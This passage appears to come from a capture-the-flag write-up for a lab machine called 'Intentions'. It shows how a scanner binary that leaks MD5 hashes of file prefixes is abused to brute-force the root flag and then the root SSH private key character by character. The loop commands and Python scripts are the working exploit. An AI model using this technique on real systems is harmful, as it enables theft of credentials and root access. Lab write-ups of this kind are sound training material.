greg@intentions:/opt/scanner$ ./scanner -p -s 2 -c /root/root.txt   
[DEBUG] /root/root.txt has hash adcea6f929ae419d4134072be81fb3ab

The binary also allows us to specify the length of the bytes to check, meaning that we can guess each character one by one. For example, when we use -l 1:

greg@intentions:/opt/scanner$ ./scanner -p -s 2 -c /root/root.txt -l 1
[DEBUG] /root/root.txt has hash eccbc87e4b5ce2fe28308fd9f2a7baf3

The resultant hash is crackable on CrackStation to give the first character of the flag:

We can slowly brute force the root flag out character by character. The user flag was 33 characters, so this should be the same. I took the script from my RainyDay writeup and modified it a bit:

import hashlib
import string

def md5hash(s):
    return hashlib.md5(s.encode()).hexdigest()

given_hash = "eccbc87e4b5ce2fe28308fd9f2a7baf3"
flag = ""
charset = string.printable

for c in charset:
    test_flag = flag + c
    test_hash = md5hash(test_flag)
    if test_hash == given_hash:
        print("Flag is:", test_flag)
        break

Using that, it is possible to brute force the hash slowly by replacing the hash each time.

greg@intentions:/opt/scanner$ ./scanner -p -s 2 -c /root/root.txt -l 1
[DEBUG] /root/root.txt has hash eccbc87e4b5ce2fe28308fd9f2a7baf3

$ python3 brute.py
Flag is: 3

I think we can do better. First, we can generate all the possible hashes of the root flag:

greg@intentions:/opt/scanner$ for i in {1..33}; do ./scanner -p -s 2 -c /root/root.txt -l $i >> /tmp/output.txt; done

We can then modify our script a bit to include the full list of hashes and brute force that instead:

import hashlib
import string

hashes = [
'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'6364d3f0f495b6ab9dcf8d3b5c6e0b01',
'6bcec1e5ab3029f75796afe4569866b9',
'a2aedc101184177cc09f4daab2a36743',
'2182d48584191fe8426e380f71c81a5b',
'4e50b644aa7c3c8b6c616c1a4f1e1600',
'7033d2b5eef140c0d0e8b6f04f20f69b',
'43d9414e8985a01a13e28daf58cddf22',
'dd69bde5698cd06b40da8ac5d4efc680',
'acc4531bc412f06d837d4b386fc716ec',
'627f232eb4ca4cc34149b465957842b9',
'f4c3d71caa281c2e2d78d49395b7e307',
'eaa344e850ffe22cb61de7d41256e641',
'f7bcd72029ef9bb45cb81664d3dfe79c',
'1b6ea862dadf5f328ab34f80bdd997c8',
'8596faec9865cc958ca3dfa5d82fce7c',
'c16e4346179f8c51df5c0ab696ba986b',
'6c92a73288228d922110868850471b71',
'ec8a2d5c2128cd350b71dce6ec3cb0c2',
'553e52dbe5da26d9ba8c78daa52493ac',
'ef4fac2ee1c7efbd6de737cdcbc8eb87',
'e06e80a0380c15baf048c3fab7843063',
'5b949c0414383b74637c485f1bcb8a72',
'5a2c11dd00bd91e02077b37fbdff54ea',
'b582b0ddbdccce25c35e16715d76c431',
'39bfc4c47f845e9125da3215b021a086',
'34e3e199ea8f1e28353154c001f5dfbd',
'4dc4536ab9c6b4b07d3a1e17111d2580',
'cac2e5b4e1f6a5f777e84e5839308b7f',
'5f79b12682936f5e129cc17588b510d5',
'8f990a781f7556b0582893249a454d5c',
'edd9709d0bd41c3f9792745d664f49e0',
'70a9b0ee85b67afca405156dcde9bdd8'
]

def md5hash(s):
    return hashlib.md5(s.encode()).hexdigest()

flag = ""
allchars = string.printable
for h in hashes:
    for c in allchars:
        test_flag = flag + c
        test_hash = md5hash(test_flag)
        if test_hash == h:
            print("Flag is:", test_flag)
            flag += c
            break

This would eventually get the correct hash out for us to submit.

Key Brute Force -> Root Shell

I felt a bit weird just capturing the root flag, so let's modify our script a bit more to get the private SSH key of the root user.

greg@intentions:/opt/scanner$ for i in {1..3000}; do ./scanner -p -s 2 -c /root/.ssh/id_rsa -l $i >> /tmp/sshkey.txt; done 
## random guess of 3000 characters

The 3000 limit would trigger a lot of errors since it attempts to read more characters than actually present, so we can just Ctrl + C it when that happens. It still generates the file containing all debug hashes properly.

We can then transfer this to our machine via hosting the output.txt file on a Python HTTP server on the machine, and doing some awk magic on it to get it into Python list format:

$ cat sshkey.txt | awk '{print "\"" $5 "\"\,"}' > hashes.py

Just put this within a list like hashes = [ <all the hashes> ]. Afterwards, sshkey.py can be used to brute force the SSH key:

import hashlib
import string
from hashes import hashes

def md5hash(s):
    return hashlib.md5(s.encode()).hexdigest()

flag = ""
allchars = string.printable
for h in hashes:
    for c in allchars:
        test_flag = flag + c
        test_hash = md5hash(test_flag)
        if test_hash == h:
            print("Key is:", test_flag)
            flag += c
            break

Then, just use this to ssh in as root:

Rooted!

Last updated